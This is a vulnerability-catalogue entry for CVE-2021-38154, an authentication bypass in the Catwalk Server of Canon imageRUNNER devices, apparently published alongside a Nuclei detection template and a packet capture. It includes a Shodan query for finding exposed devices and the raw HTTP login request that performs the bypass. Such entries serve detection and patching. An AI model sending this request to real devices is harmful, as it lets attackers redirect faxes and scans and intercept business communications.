| Title | Canon Devices - Authentication Bypass in Catwalk Server |
|---|---|
| Author | daffainfo |
| Severity | High |
| Impact | Unauthenticated attackers can modify email settings and redirect FAX and scan data to attacker-controlled email addresses when PIN protection is disabled, potentially intercepting sensitive business communications. |
| Remediation | Configure a PIN for General User Mode or apply Canon firmware updates that address this vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.11868 |
| CVE ID | CVE-2021-38154 |
| CWE ID | CWE-732 |
| Shodan Query | title:"imageRUNNER" |
| Tags | cve cve2021 canon auth-bypass vkev vuln |
Certain Canon devices manufactured in 2012 through 2020 (such as imageRUNNER ADVANCE iR-ADV C5250), when Catwalk Server is enabled for HTTP access, allow remote attackers to modify an e-mail address setting, and thus cause the device to send sensitive information through e-mail to the attacker. For example, an incoming FAX may be sent through e-mail to the attacker. This occurs when a PIN is not required for General User Mode, as exploited in the wild in August 2021.
POST /tryLogin.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
loginM=&0000=0011&0002=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-38154.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-38154.pcap
N/AN/A